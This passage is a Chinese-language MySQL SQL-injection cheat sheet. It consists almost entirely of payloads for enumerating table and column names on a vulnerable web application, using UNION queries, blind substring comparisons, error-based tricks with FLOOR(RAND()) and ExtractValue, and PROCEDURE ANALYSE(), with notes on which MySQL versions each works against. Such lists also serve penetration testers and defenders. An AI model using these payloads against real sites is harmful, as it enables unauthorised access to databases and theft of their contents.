表名 ?

• union 查询

  --MySQL 4版本时用version=9，MySQL 5版本时用version=10
  UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */
  UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */
  SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!=‘information_schema‘ AND table_schema!=‘mysql‘;
  

• 盲注

  AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A‘
  

• 报错

  AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
  -- 在5.1.5版本中成功。
  
  

  列名 ?

  • union 查询

    UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename‘
    

  • 盲注

    AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A‘
    

  • 报错

    -- 在5.1.5版本中成功
    AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
    -- MySQL 5.1版本修复了
    AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
    

  • 利用 PROCEDURE ANALYSE()

    -- 这个需要 web 展示页面有你所注入查询的一个字段
    -- 获得第一个段名
    SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
    -- 获得第二个段名
    1 LIMIT 1,1 PROCEDURE ANALYSE()
    -- 获得第三个段名
    1 LIMIT 2,1 PROCEDURE ANALYSE()
